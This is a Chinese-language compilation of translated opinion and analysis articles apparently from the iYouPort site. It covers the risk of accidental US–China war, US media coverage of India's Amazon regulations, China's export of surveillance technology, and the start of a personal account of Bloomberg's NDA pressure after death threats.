如果您想要民主，请阅读我们的“列表-5”，那里面有如何得到的方法。战争不会给您民主，中国政府也不会在战争门前给您发选票，民主需要今天在线刷推的人们放下手机采取行动，或至少深入思考。

本文来自 Michael T. Klare，他是五校联盟的和平与世界安全研究教授，其系设在汉普郡学院（Hampshire College），也是《国家》杂志的驻地记者。他的新书是《All Hell Breaking Loose》。

中美两国领导人当然不会寻求相互之间的战争。拜登政府和中国的习近平政权都将经济复兴和增长视为其主要目标。两者都意识到，它们之间产生的任何冲突，即使仅限于亚洲，并且不使用核武器 —— 这并没有把握—— 也同样会产生灾难性的地区破坏，并有可能使全球经济陷入困境。

所以，这两个国家的统治阶级都没有蓄意发动战争的打算。然而，每一方都完全有决心证明其在受到挑衅时发动战争的意愿，因此他们都愿意在中国沿海水域（和空域）玩一些谨慎的军事游戏。而在这一过程中，双方各自都在使战争爆发的可能性越来越大，无论战争是如何无意的。

历史告诉我们，冲突并不总是由于计划和意图而开始的。当然，有些冲突是这样开始的，例如，希特勒1941年6月入侵苏联、和日本1941年12月袭击荷属东印度群岛和珍珠港，就是如此。但更常见的情况是，各国在历史上发现自己卷入了它们希望避免的战争。

1914年6月的情况就是如此，当时主要的欧洲强国 —— 英国、法国、德国、俄国和奥匈帝国—— 都被卷入了第一次世界大战。在一次极端主义的恐怖行为（奥地利大公弗朗茨·斐迪南和他的妻子索菲在萨拉热窝被塞尔维亚民族主义者暗杀）之后，他们动员了他们的军队，并发出最后通牒，期望他们的对手会退缩。但没有任何人退缩。相反，一场全大陆的冲突爆发了，造成了灾难性的后果。

可悲的是，我们在未来几年内面临着非常相似的情况的可能性。当今时代的三大军事强国—— 中国、美国和俄罗斯 —— 的行为都与早先时代的同类国家极为相似。

这三个国家都在其对手或这些对手的主要盟友的边界上部署军队，并进行晒肌肉和 “炫耀武力” 的行动，目的是恐吓其对手，同时在其利益受到威胁时表现出参与战斗的意愿。

与**1914**年以前一样，这种侵略性的演习在引起意外或无意的冲突、从而可能导致全面战斗、甚至在最坏的情况下导致全球战争时，具有很高的风险。

现在，在俄罗斯与欧洲北约大国的边境以及中国东部海岸线附近海域，几乎每天都会发生挑衅性军事演习。关于这种演习在欧洲升级的危险可以说得很多，但本文把注意力放在中国周边的局势上，在那里发生意外或无意冲突的风险一直在稳步增长。要知道，与欧洲相比，在欧洲，俄罗斯与北约国家之间的边界标示得相当清楚，各方都小心翼翼地避免擅入，而在亚洲，中国与美国/盟国领土之间的边界往往存在很大的争议。

中国宣称其东部边界远在太平洋 —— 远到足以包括独立的台湾岛（该国认为台湾是一个叛逆的省份）、南中国海的南沙群岛和西沙群岛（都是中国宣称的，但有些也被马来西亚、越南和菲律宾宣称），

以及钓鱼岛（中国和日本都宣称拥有，日本称其为尖阁诸岛）。美国对日本和菲律宾有条约义务，也有援助台湾防务的立法义务（这要归功于1979年国会通过的《台湾关系法》），历届政府都宣称中国的延伸边界主张是不合法的。那么，就存在着一个包括东海和南海在内的广阔的争议领土区域 —— 在这些地方，美国和中国的军舰和飞机以挑战性的方式越来越多地交织在一起，同时也做好了战斗的准备。

探究极限（并挑战极限）

「图」

美国和中国领导人都决心，他们的国家将捍卫其在这些有争议地区的战略利益。对北京来说，这意味着维护其对台湾、钓鱼岛和南中国海岛屿的主权，并在面对日本、台湾或美国可能的反击时，展示出夺取和保卫这些领土的能力。对华盛顿来说，这意味着否认中国主张的合法性，并确保其领导层无法通过军事手段实现这些主张。双方都认识到，这种矛盾只有通过武装冲突才有可能解决。然而，在战争之前，双方似乎都想看看自己能在多大程度上通过外交和军事手段挑衅对方，而不至于引发以灾难收场的连锁反应。

在外交方面，双方代表一直在进行越来越严厉的言语攻击。这些攻击首先在特朗普政府的最后阶段开始升级，当时特朗普放弃了他对习近平的所谓感情，开始阻止华为等中国主要电信企业获得美国技术，以配合他已经对该国大部分对美出口产品征收的惩罚性关税。他对中国的最后一次重大攻势由国务卿迈克蓬佩奥（Mike Pompeo）领导，他用严厉的措辞谴责该国的领导层，同时挑战其在有争议地区的战略利益。 例如，在2020年7月关于南中国海的声明中，蓬佩奥抨击中国在那里的侵略行为，指出北京多次 “欺负” 该海域其他岛屿的声索国。蓬佩奥不仅仅是单纯的谴责。他大幅提高了冲突威胁，声称 “美国与我们的东南亚盟友和伙伴站在一起，保护他们对近海资源的主权权利，这符合他们在国际法下的权利和义务”—— 这些语言显然是为了证明美国船只和飞机未来将使用武力协助 “被中国欺负的友好国家”。 蓬佩奥还试图在台湾问题上挑战中国。1月9日，他在任内的最后一个行为中，正式取消了40多年来美国与台湾政府外交接触的限制。早在1979年，卡特政府与台北断交，与中国大陆政权建立关系时，就禁止政府官员与台湾同行会面，此后的每届政府都维持这一做法。这被认为是华盛顿对所谓的 “一个中国” 政策承诺的一部分。四十多年后，蓬佩奥重新授权华盛顿和台北之间的高层接触，实际上粉碎了这一承诺。通过这种方式，他让北京注意到，华盛顿准备支持台湾正式走向独立 —— 这很可能会挑起中国的入侵努力（这反

过来又增加了华盛顿和北京发现自己处于战争状态的可能性）。 特朗普政府还在军事方面采取了具体行动，特别是增加了在南海和台湾周边海域的海军演习。中国人则以自己的强硬言辞回应，并扩大了军事活动。例如，去年9月，负责经济事务的副国务卿基思·克拉奇（Keith Krach）访问台北，这是40年来美国国务院访问台湾的最高级别官员，作为回应，中国在台湾海峡展开了数天的咄咄逼人的海空演习。中国国防部发言人任国强[[称|https://www.dw.com/en/china-holds-military-exercises-near-taiwan/a-54971658]]，这些演习是 “针对当前台海局势保护国家主权和领土完整的合理和必要的行动”。在谈到台湾与美国的外交接触日益增多时，他补充说，“玩火者必自焚”。 如今，随着特朗普和蓬佩奥的下台，问题也随之而来。拜登团队将如何处理这些问题？到目前为止，答案是：''和特朗普政府很像。'' 3月18日和19日，在拜登任内美中官员之间的首次高层接触中 —— 在阿拉斯加安克雷奇举行的会议上，新上任的国务卿安东尼·布林肯用他的开场白痛骂中国人，对中国在新疆虐待维吾尔少数民族的行为以及对台湾日益咄咄逼人的做法[[表示|https://www.state.gov/secretary-antony-j-blinken-national-security-advisor-jake-sullivan-chinese-director-of-the-office-of-the-central-commission-for-foreign-affairs-yang-jiechi-and-chinese-state-councilor-wang-yi-at-th/]] “深切关注”。他说，这些行为 “威胁到了维护全球稳定的基于规则的秩序”。布林肯在其他场合也说出了类似的抱怨，拜登任命的[[中情局|https://www.politico.com/news/2021/02/24/cia-william-burns-china-471354]]和[[国防部|https://breakingdefense.com/2021/03/new-pentagon-no-2-hits-china-in-first-speech-as-tensions-rise/]]高级官员也是如此。耐人寻味的是，拜登政府在上任的头几个月，就为在有争议的亚洲海域进行挑战性军事演习开了绿灯，其节奏与特朗普政府最后几个月一模一样。 * 《[[中国的 “新疆模式” 如何借鉴美国、英国和以色列的平叛战略|中国的 “新疆模式” 如何借鉴美国、英国和以色列的平叛战略 - iyouport]]》 !!!“炮舰外交” 的今天 「图」 在第一次世界大战前的几年里，在那个殖民主义时代，大国通常会在其对手附近的水域或叛乱的附庸国附近部署海军，以暗示如果某些要求得不到满足，就有可能采取惩罚性的军事行动。美国正是利用这种当时被称为 “炮舰外交” 的方式来控制加勒比海地区的，例如，[[迫使哥伦比亚|https://www.thoughtco.com/gunboat-diplomacy-4774988]]交出华盛顿试图修建连接大西洋和太平洋的运河的领土。''今天，炮舰外交再次在太平洋地区活跃起来，中国和美国都在进行这种行为。同样的行为。'' 中国现在经常

使用其日益强大的海军和海岸警卫队来恐吓其他声称在东海和南海拥有自己的岛屿的声索国—— 尖阁诸岛的声索国是日本；南沙群岛和西沙群岛的声索国是马来西亚、越南和菲律宾。在大多数情况下，这意味着指挥其海军和海岸警卫队的船只将这些国家的渔船从中国主张的岛屿周围水域赶走。在台湾问题上，中国以威胁性的方式使用其舰艇和飞机，暗示任何从大陆宣布独立的举动都将遭到严厉的军事回应。对于拜登时代的华盛顿来说，在东海和南海的强硬军事演习是一种说法：无论这些水域离美国有多远，华盛顿和五角大楼都不会准备将其控制权让给中国。这一点在南中国海表现得尤为明显，美国海军和空军经常在那里进行挑衅性演习和炫耀武力的行动，旨在展示美国继续主导该地区的能力—— 就像2月份向该地区派遣双航母特遣部队一样。几天来，“尼米兹” 号和 “西奥多-罗斯福” 号以及随行的巡洋舰和驱逐舰船队在中国声称的岛屿附近进行了模拟作战行动。“通过这样的行动，我们确保我们在战术上能够熟练地应对维护和平的挑战，我们能够继续向我们在该地区的伙伴和盟友表明，我们致力于促进一个自由和开放的印太地区”，罗斯福号航母攻击小组指挥官道格·韦里西莫少将这样解释那些明显的好战行动。 海军也加强了驱逐舰在台湾海峡的巡逻，以此暗示中国未来任何入侵台湾的举动都会得到强有力的军事回应。自拜登总统就职以来，海军已经进行了三次这样的巡逻：2月4日由 “约翰·S·麦凯恩” 号，2月24日由 “柯蒂斯·威尔伯” 号，3月10日由 “约翰·芬恩” 号。每一次，海军都坚持认为，这种任务是为了展示美国军队如何 “继续在国际法允许的任何地方飞行、航行和行动”。 通常情况下，当美国海军进行此类演习时，中国军方会派出自己的舰艇和飞机挑战美国船只。这种情况在南海经常发生，每当海军在中国主张（有时是中国建造）的岛屿附近水域进行所谓的 “航行自由行动”（FONOPs）时，其中一些岛屿已被解放军改造成小型军事设施；作为回应，中国经常派遣一艘或多艘自己的船只护送美国船只离开该地区 —— 说得客气些。这些遭遇有时被证明是极其危险的，特别是当船只靠近到足以构成碰撞的风险时。 例如，2018年9月，一艘中国驱逐舰在斯普拉特利群岛加文礁附近执行这样的FONOP任务时，恰好来到 “迪凯特” 号导弹驱逐舰[[135英尺以内|https://www.scmp.com/week-asia/geopolitics/article/2171596/exclusive-details-and-footage-emerge-near-collision-between]]，迫使 “迪凯特” 号突然改变航向。 如果它不这样做，可能会发生碰撞，可能会有生命损失，并引发事件，造成不可预见的后果。据报道，在此次遭遇前不久，中国船只向美国船只进行了广播：“你正处于[危险]的航道上，如果你不改变航向，[你]将遭受后果。” 如果 “迪凯特” 号的船长没有改变航向，会发生什么情况？那一次，世界是幸运的：船长行动迅速，避免了危险。但下一次呢，南海和台湾周边的紧张局势远高于

2018年的情况下？这样的幸运可能不成立，如果发生碰撞，或者使用武器避免碰撞，可能会引发任何一方立即采取军事行动，然后是一个潜在的不可预测的反制升级循环，导致谁也不知道会发生什么。 在这种情况下，一场谁也不想看到的中美之间的战争可能会突然爆发，基本上是偶然的 —— 这场战争这个星球根本承受不起。 可悲的是，在外交层面上发表煽动性的言论，以及在高度争议地区以侵略性的军事行动来支持这种言论的倾向，似乎''仍然是中美两国相同的首要议程''。 中美两国领导人现在正在玩一场对两国和整个地球来说再危险不过的对战游戏。 拜登新政府及其对立面的中国人是不是应该更清楚、更深刻地认识到，他们的敌对行为和决定可能会带来不可预见的灾难性后果？ 激烈的语言和挑衅性的军事演习—— 即使只是作为政治信息传递的目的 —— 就很可能会引发灾难性的结果，就像1914年的同等行为引发第一次世界大战的巨大悲剧那样。〇 [[Could the U.S. and China Face an Unintended Blowup in the Western Pacific in the Biden Years?|https://www.counterpunch.org/2021/04/02/could-the-u-s-and-china-face-an-unintended-blowup-in-the-western-pacific-in-the-biden-years/]] 原文

尴尬的错误 - iYouPort

关于高堡奇人地缘政治

如今越来越多的读者认识到了主流媒体的报道很多是片面的甚至错误的，事实上这些主流媒体-准确说是企业媒体-对其他国家的报道也大多是片面的和错误的，有些错误甚至很尴尬，出了什么事？

去年9月，“纽约时报”（9/7/18）采访了一名法律专业学生，因为她写了一篇文章谴责垄断问题，其中提到的领先于其他人的潜在违规者就是：亚马逊。紧接着，CNBC、彭博社、福布斯新闻都报道了这篇反垄断的文章。

这位作者现在是哥伦比亚大学法学院的学术研究员，她认为目前根据消费者福利衡量零售业反竞争做法的范式“无法体现现代经济中市场力量的结构”。“因为在线平台是关键的中间人，”她写道，“这些平台可以完全控制其竞争对手所依赖的基础设施。”

当时美国主流媒体的报道符合这篇文章的主题，也表示质疑这些企业巨头，至少称他们”绝大多数在网络商业中占据主导地位。“

但是，现在，随着印度执行新法规以试图检查亚马逊和其他外国在线商家的垄断问题，“纽约时报”以及大多数企业媒体忽然完全变调了。纽约时报似乎已经忘记了曾经的采访，而是说，如果印度的新法规实现，“印度的亚马逊用户将获得更少的选择并在新的销售规则下支付更多的费用”—— 很简单，自己国家的企业不许外人批评。

彭博社、华尔街日报等企业媒体都是同一个声调，他们的标题就好像印度正在“欺负”亚马逊一样。CNN和CNBC甚至指责印度正在对亚马逊及其竞争对手如沃尔玛构成了“巨大威胁”，而The Verge 则告诉读者这些垄断企业是“受害者”，已经受到了新限制的“重创”……

最可笑的是路透社，竟然把印度描绘成一种巨型蜘蛛，“抓住”了像亚马逊和沃尔玛这样的邪恶“网络”中的苍蝇。

该问题是对印度12月宣布的电子商务外国直接投资（FDI）政策的修订案，该政策于2月生效。在基于市场的电子商务模式允许100％外国直接投资的同时，外国实体仅仅作为卖方和买方之间的促进者（比如eBay），印度禁止外国实体直接向消费者销售自己的产品（比如Walmart）。因为亚马逊利用其霸权来操纵市场，印度政府响应行业协会的投诉，澄清其禁止的规则。更新后的规则还要求像亚马逊这样的外国实体向平台上的供应商以非歧视的方式提供公平公正的服务“。

正如曾经德里经济学院的 Niti Bhasin 所写道的：“摆脱殖民统治后，独立印度的普遍情绪是维护和巩固自由，不再允许任何形式的政治或经济的外国统治。”

在随后的几十年中，印度对其经济中的外国直接投资的监管有很大波动。从70年代后期，印度开始打击垄断行为。随着时间的推移，这些对外国直接投资的严格规定逐渐放松，直到印度经济在20世纪90年代经历了根本性转变，当时“国际货币基金组织和世界银行对印度经济自由化的压力迫使政府加快自由化步伐”。可口可乐于1993年重新进入印度，现在控制着那里软饮料市场的最大份额。

印度现任总理纳伦德拉·莫迪（Narendra Modi）几乎不是反资本主义者，可以被视为这一近期历史的高潮。在承诺继续实现经济自由化而上台后，莫迪政府去年1月开始批准100％的航空和建筑行业外国直接投资以及单一品牌零售，并且正在寻求为保险业做同样的事。

然而，每当垄断行为的滥用变得如此恶劣以至于引发民众抵制时，企业媒体的浅层报道都倾向于抛弃真正的问题本质，转而支持大亨之间的阶段性斗争。只是为了吸睛度而已，他们不关心事实。

路透社将这个故事称为地缘政治“斗争”，而不是关注印度众多独立零售商对外国控制的电子商务垄断的潜在破坏性影响，该报纸说，“美国抗议影响美国公司的印度政府政策。“而“财富”杂志甚至创造了一个离奇的故事，描述昔日的竞争对手“团结起来”以对抗印度政府，文章说，“这对亚马逊和沃尔玛来说并不是一件坏事，” 他们向读者保证，因为可能还有希望找到新限制的漏洞。

纽约时报向其读者解释说，“与美国一样，在印度，实体零售商对电子商务的增长表示震惊。”对于美国观众而言这个描述可能会看起来合理，但是在印度，事实上完全相反。根据印度政府商务部的数据，2017年电子商务只占印度整体零售经济的3％，而“连锁零售”则是大部分，换句话说，印度有高达88％的零售商业是在类似 mom-and-

pop 的实体商店中进行的，这些商店在美国只是一个遥远的记忆。美国主流媒体用本土的经验去体会外国的社会状况，当然会闹笑话。

美国公司控制“竞争对手所依赖的基本基础设施”的现象当然不是新鲜事，而且这是每一个印度人都太熟悉的故事。在整个20世纪50年代和60年代，印度农业经历了根本性的转变，这是美国政府、世界银行以及福特和洛克菲勒基金会所倡导的俗称“绿色革命”的一部分。

环保主义者和学者 Vandana Shiva 指出，通过引入与依赖杀虫剂的美国公司合作开发的作物品种将印度的农业系统从“本土的和生态性的模式转变成了外来的和高投入的模式”。他认为这种新的动态“带来了暴力而非和平，带来了依赖而不是自力更生和自治”。

正如 Shiva 所预言的那样，印度的农业产业仍然受到政治和经济冲突的困扰，尽管他的“民粹主义”风格，农民持续的不满情绪很可能会令莫迪在今年即将举行的全国大选中失败。

目前还没有人知道印度在线零售经济的未来将会如何，或者美国公司的垄断会怎么样，但不论如何，这个未来应该是印度人自己决定的。美国媒体需要暂时退出巨头公司拉拉队长的角色，让印度人过自己的生活。

When India Tries to Regulate Amazon, US Media Qualms About Monopoly Disappear.

原文

当谈到数字威权主义时，中国是一个挑战，但不是唯一的挑战 - iyouport

中国-半壁高堡奇人关于高堡奇人

【2020年7月29日存档】中国与数字威权主义之间的关系是什么

去年，《华尔街日报》和美联社报道了华为技术人员如何与乌干达和塞尔维亚的政府安全部队直接合作，安装先进的面部识别摄像头进行监视的故事。

两国的人权记录都很糟糕。

在乌干达，长期统治者 Yoweri Museveni 面临即将在2021年举行的选举，他正在努力压制潜在的政治竞争对手以及反对派选民。

同样，执政的塞尔维亚进步党领导下的塞尔维亚日益朝着不自由的方向发展。

两国政府都有强烈的动机使用数字监视工具来对抗对手、并确保其政治生存。在这两种情况下，中国人都被证明是合适的合作伙伴。

人们对中国的介入有什么看法？它的行动是否代表着更大的努力推广强制性技术以支持专制领导人？是什么在驱动这些趋势？

中国数字威权主义工具的泛滥提出了严峻挑战。专制政权使用这些技术来镇压群众抗议、监视政治对手、并保持专制领导人的权力。

- 《中国向60多个国家出口AI监控技术》

但是，中国并不是唯一提供压制技术的参与者 —— 相反，中国是全球监视市场的新玩家。以色列、法国、英国、美国、和俄罗斯等其他国家/地区也为压制性政权提供了先进的监视能力 —— 从位置跟踪间谍软件和高分辨率视频监视、再到黑客技术、以及审查过滤技术。在下面看到报告。

- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》
- 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 更多报告详见 列表-2 “老大哥的真面目”

夸大中国角色的分析师冒着过分简化复杂环境、无视其他为不良政府提供强大反乌托邦能力的罪魁祸首的风险。

- 《中国的反乌托邦监视国家是美国制造的》

如果美国真的想限制威权主义技术的全球传播，那么它应该同时推动对任何监视技术生产商的全面限制，不论是民主国家还是专制国家。

什么是数字威权主义？

「图」

准确定义数字威权主义至关重要。一个常见的定义中会包括 “专制政权使用数字信息技术监视、压制和操纵国内外人口。”

这是一个明智的出发点，但是，通过技术和战术对数字威权主义进行分类可以提供更多的见解。

数字压制包括六种技术：监视、审查、社交操纵和骚扰、网络攻击、互联网关闭、以及针对在线用户的有针对性的迫害。

这六种技术并不是互斥的。例如，由政府间谍植入用户计算机的侵入性间谍软件，它既是监视的形式，也是网络攻击的形式。

但是每种技术都提供了一组特定的目标，并从一组独特的工具中汲取力量以实现其功能。

数字监视工具在促进政府对公民的控制和减轻政治对手的挑战方面发挥着越来越重要的作用。

各国都在部署由人工智能增强的复杂监视工具。领导人通过采用颠覆性的虚假信息策略来巩固自己的统治，这种策略会导致虚无、玩世不恭和政治上的脱离。

许多政府正在采用复杂的审查策略，并辅以广泛的所谓 “反假新闻”

法规 —— 即 “六骑士” 之一，这些法规赋予当局不受约束的自由裁量权，以迫害政治反对者和公民活动家。

当所有其他方法都失败时，数十个国家（尤其是在非洲和南亚国家）愿意直接断开互联网连接，并使其人口陷入长期的数字隔离。

- 《如何用指标预测互联网中断？一旦断网还可以怎么办？》
- 《互联网巴尔干化已经是一个非常严重的全球政治问题》

许多专家指出，中国是数字压制的主要推动力。例如，澳大利亚战略政策研究所的一份新报告强调，数字威权主义的 “中国模式” 正在成为非民主政权的标准做法。

2018年互联网自由度报告指出，中国公司正在向全世界的压制性政权提供面部识别技术和先进的分析工具，并且中国正在促进数字威权主义 “作为政府通过技术控制公民的一种方式。”

一些人甚至预测，随着志趣相投的国家 “购买或仿效中国制度”，这将为21世纪 “自由民主与数字专制主义” 之间的史诗般的斗争奠定基础。

中国与数字威权主义

「图」

中国并不是大多数技术的主要推动者，它是模仿者。相反，中国只是在监视技术的扩散中真正发挥了巨大的影响。

例如，对于互联网关闭和对在线用户的迫害，中国没有明显的全球性作用。这些行动由国家政府独立采取。实际上，当涉及到互联网关闭时，中国当局采取了更为复杂的审查战术。长时间关闭互联网的概念太过陈旧，无法满足中国的目的。

当涉及到在线社交操纵和虚假信息战时，中国是游戏的新手。正如牛津大学研究人员 Philip Howard 和 Samantha Bradshaw 报告的那样，“我们发现中国很少使用社交媒体来操纵其他国家的舆论，直到最近才在这方面突出出来。”

尽管中国人在这一领域的活动已经开始增加，但他们的大部分努力集中在操纵国内言论或针对特定目标开展外国影响力行动方面（例如 香港抗议、台湾大选）；很少有中国当局为独裁政府配备高科技虚假信

息宣传能力的例子。

同样，在提供技术以促进国家发起的网络攻击方面（操纵性软件、数据、计算机系统或网络，以降低运营能力或收集信息的目的），中国只是众多参与者之一。

当然，这并不是说北京不黑客。仅仅是说与自由民主国家相比，中国并不是黑客技术的“主要”出口国。

隐私国际组织2016年关于全球私人监控行业的详尽报告记录了528家公司兜售商业入侵技术（例如恶意代码、手机恶意软件等），其中超过87％的公司位于经合组织成员国，而75％的公司总部位于北约国家。

在审查制度方面，中国的确为独裁政权提供了诱人的模式。

中国已采取措施，通过对外国官员进行大规模培训，提供某些审查技术来推广其社会压制做法，并要求在中国开展业务的国际公司无论在何处经营都必须遵守中国政府对内容的规定。在下面看到报告。

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

不过，本地实施者比中国的行动更具决定性。像泰国这样具有高度审查制度的国家已经有效地将诽谤和诽谤法武器化，以对抗异议并压制言论自由。

尽管技术在帮助当局抑制言论自由方面发挥着重要作用，不幸的是用于强制执行内容限制的最主要工具本质上是合法的。也就是说，没有法律能约束它。

中国在监控技术推广中的作用

「图」

在数字威权主义方面，中国在监视领域发挥了大部分影响力。华为等中国公司正在建立先进的“安全/维稳城市”平台，为压制性政府提供面部识别和智能视频监控系统，并提供先进的计算机视觉分析功能。

- 更多报告详见 列表-4 “作恶者：谁在帮中国”

作者最近对AI监视的全球扩展进行了研究。与传统工具相比，基于AI

的监视具有许多独特的优势。

它提高了成本效率，减少了对安全部队的依赖，并允许当局“相比传统方法波及更大的网络”。

整个研究主要关注三个关键问题：哪些国家正在采用AI监视技术？政府正在部署哪些特定类型的AI监视？哪些国家和公司在提供这项技术？

在调查的176个国家中，至少有75个国家的政府都部署了AI监视功能。

他们以三种形式进行操作 —— 所谓的安全/维稳的城市平台、面部识别监视系统和智能警务。以华为为首的中国公司是全球政权用于维稳的 AI 监控技术的领先供应商之一。

但是，中国公司并非唯一的供应商。位于美国、法国、英国、德国、西班牙和以色列的公司，也都是维稳监视的主要供应商。

AI监视技术的存在并不意味着政府必然将其用于非法目的。数据只是表明这些国家有能力进行广泛的反乌托邦监视。

因此，具有强大法治传统和体制制衡机制的自由民主国家利用这种技术进行镇压的可能性要相对较小 —— 包括斯诺登那样的敢于揭露真相的透明度革命捍卫者的努力。

这就提出了一个重要的后续问题 —— 在哪个国家中用于侵犯性大规模监视的AI技术的主要提供者是中国？

Carnegie 报告中收集的数据显示，在全球24个国家/地区，中国公司似乎是其各自政府的AI监视技术的主要供应商。文末附录提供了国家的完整列表。

在这24个国家中，许多国家表现出治理方面的缺陷 —— 大多数被归类为混合政权（混合政权是一种混合类型的政治政权，是由于不完全的民主过渡而在威权主义基础上兴起的。混合政权将专制政体与民主政体结合在一起，可以同时进行政治镇压和定期选举）。

这些国家往往与中国有着紧密的地缘政治联系。这 24个国家中有14个是“一带一路”倡议的成员。在地图上，撒哈拉以南的非洲国家占比较多，名单上有八个国家。

最后，这一群体的经济影响很小。在2017年全球GDP的180个国家中，南非排名33位，亚美尼亚、吉尔吉斯斯坦和塔吉克斯坦均垫底——分别排名133、147 和 151位。

这意味着什么

「图」

如果没有中国的帮助，这24个国家中的许多国家将无法使用先进的监视技术。

对于这些国家的政府来说，中国提供了重要的设备，使维稳机构能够根据需要监视公民、并破坏政治挑战。

在某些情况下，中国公司直接代表志同道合的专制政权开展工作。例如，华为员工通过拦截通信、入侵计算机和部署位置跟踪应用程序，帮助乌干达和赞比亚当局监视政治对手。

- 华为是怎么来的？《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》
- 《华为如何把德国城市变成圆形监狱》
- 《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》

作为交换，中国获得了政治影响力，增加了经济影响力，甚至可能获得了情报优势（例如，中国帮助建造的非洲联盟总部设施被植入了一些漏洞，从2012年到2017年间每晚都会向中国当局秘密输送机密数据）。

毫无疑问，在未来几年中，这一群体的成员将继续增加，这预示着数字压制之未来趋势的不祥之兆。

同时，沙特、阿联酋、或哈萨克斯坦等被认为是中国压制技术客户国的国家，他们均从多个国家进口监视技术。

沙特是一个典型的例子。中国寡头华为正在与该国政府合作建设维稳城市，美国寡头谷歌和微软在该国运营云计算服务器，英国军火制造商 **BAE** 为该国提供了大规模监控系统，**NEC** 则销售面部识别监视摄像头，亚马逊和阿里巴巴正准备在该国 *合作* 开展一项重要的所谓智能城市项目。

- 《世界城市正在成为新加坡》

大多数政府，特别是那些有资源的政府，故意避免依赖单一的技术供应商。

怎么办

「图」

总的来说，只有有限的迹象表明中国正在推行某种宏大战略，以系统性地扩散数字威权主义工具。相反，中国的努力会因国家/地区、当地情况和自身利益的不同而异。

正如康奈尔大学学者 Jessica Weiss 所说，“数字威权主义的传播与旨在重塑中国形象的努力并非同一回事。尽管这些监视系统可以帮助政府监视和控制其人民，但是如何使用它们取决于当地政治。”

这仍然是政策和研究界争论不休的问题。像 Elizabeth Economy 这样的专家则断言中国正在寻求输出“各种威权资本主义”。

意图对于识别地缘政治动机和未来行动来说至关重要。如果中国正在采取一项综合战略，以将先进技术推广到非民主政权、对抗自由联盟，这需要制定具体的政策以应对。

另一方面，如果中国的行动没有机会主义那么系统化（看起来像是机会主义的），那么这将大大改变民主国家对中国入侵的反应。

美国决策者应该继续认真对待中国独裁技术带来的威胁。重要目标应该是向中国政府施加压力，要求其停止向世界上最专制的政权提供危险工具 —— 并迫使中国停止在国内尤其是新疆和西藏地区部署这种技术。

但是美国和其他自由民主国家在扩散这些反乌托邦工具时也必须考虑自己的责任。提出一个负责任使用的框架，对故意向压制性政权出售有害产品的公司处以罚款，这将有可能产生有意义的变化。

结论

「图」

数字压制是一个广义术语，涵盖了一系列技术和策略。中国在特定领

域积极销售技术 —— 先进的监视技术。

但是在其他领域，无论是提供渗透性间谍软件还是兜售复杂的虚假信息宣传战功能，它都不是在单独行动。

政策制定者应该对中国的行动保持警惕。同时，他们应该注意到，中国并不是唯一一个致力于传播数字威权主义技术的国家。

附录：

「图」

○

Steven Feldstein is the Frank and Bethine Church Chair of Public Affairs at Boise State University, and a nonresident fellow at the Carnegie Endowment's Democracy, Conflict, and Governance program. From 2014 to 2017, he served as U.S. Deputy Assistant Secretary for Democracy, Human Rights, and Labor. He is writing a book on the global spread of digital repression.

原文

彭博为献媚中国不惜余力 - iyouport

作恶者：谁在帮中国关于高堡奇人

【2020年3月3日存档】完全是恐怖的经历。不仅针对记者，甚至是针对记者全家人的威胁，包括年幼的孩子。这一切只是为了跪舔中国 ……

Former New York City Mayor Michael Bloomberg speaks at the winter meeting for the U.S. Conference of Mayors in Washington, D.C., on Jan. 22, 2020. Photo: Patrick Semansky/AP

我是被 Mike Bloomberg 公司通过保密协议试图封口的众多女性之一。可笑的是，我甚至从未给 Bloomberg 工作过。

但是我的经历足以表明，为了避免冒犯北京，彭博机器不惜余力。

Bloomberg 的公司彭博有限合伙企业（**Bloomberg LP**）非常依赖中国广阔的市场，以至于如果我拒绝签署保密协议，彭博的律师就威胁要对我的家人造成经济上的破坏。

直到我聘请爱德华·斯诺登（Edward Snowden）在香港的律师时，多次企图恐吓我的 Bloomberg LP 才最终罢休。

2012年，我正在北京清华大学攻读社会学博士学位，我的丈夫 Michael Forsythe 是一篇彭博社新闻文章的主要撰稿人，这篇文章讲述了习近平的亲戚所积累的丰富财富，这是屡获殊荣的 “Revolution to Riches” 系列的一部分关于中国领导人的报道。

彭博（Bloomberg）在2012年6月发表有关习近平的家庭财富的文章后不久，我丈夫就受到了一位女士发来的死亡威胁，此人声称代表习近平的亲戚。

传达威胁的女人特别提到了对我们全家的危害；我们两个孩子当时分别是6岁和8岁。

纽约客的 Evan Osnos 在他获奖的著作《Age of Ambition: Chasing Fortune, Truth and Faith in the New China》出版后也有类似的遭遇，当时同一位女士告诉 Osnos 的妻子："他 **[Forsythe]** 和他的家人不能留在中国。否则就会出事，看起来会像是个意外。没有人会知道发生了什么。他会被发现已经死了。"*律师：美国要秘密杀死 Julian Assange，并让它看起来像"一个意外"*

鉴于中国官方媒体的报道，这种经历尤其令人恐惧，因为它就发生在英国商人尼尔·海伍德被谋杀后的几个月。尼尔·海伍德被中国高级领导人薄熙来的妻子毒死。据报道，他的尸体是在中国西南城市重庆的一家旅馆里被发现的。

当我们一家人2012年在中国境外的地方度过孩子们的暑假时，彭博的高管一直不断联系我丈夫，讨论如何维护我们的安全。

我经常做噩梦，梦到我的孩子被殴打和杀害。我拼命想公开谈论这一死亡威胁，感觉这将为我们提供更强大的保护，但是，彭博新闻社希望我们在公司进行内部调查时不要对此说任何话。

自从我们2002年结婚以来，我一直对该公司忠诚，而且我不想破坏我丈夫的工作。我一直保持沉默，直到2012年10月26日，另一篇（无关的）违抗中国政府的报道发表。

我决定在 Twitter 上发布一条消息，说明在发表有关习近平的新闻报道之后，我们已经收到了死亡威胁。

就在我发送这条推文的几小时内，彭博的管理人员告诉我丈夫，说："请你妻子删除她的推文。"

我没有删除推文，但是我也没有再发布过任何关于死亡威胁的推文，也没有公开谈论过这件事。我不想激怒该公司，因为我们需要它将我们搬到香港，在那里我们的孩子们会更安全。

在我们在北京准备申请香港的学校并为搬迁做准备的过程中，我一直感到恐惧。

在上学或放学的路上，有人会去找我们的孩子吗？谁在监视和窃听我们？每天晚上我仔细地拉好所有百叶窗以防止中国间谍监视我们；我非常小心，从不在家里或电话里大声谈论我们的计划，以防被窃听。

2013年8月，当我们飞离北京并搬到香港的一间临时公寓时，我终于放松了。我以为这一整年的噩梦终于可以结束了。但是，事情很快就

变得更糟。

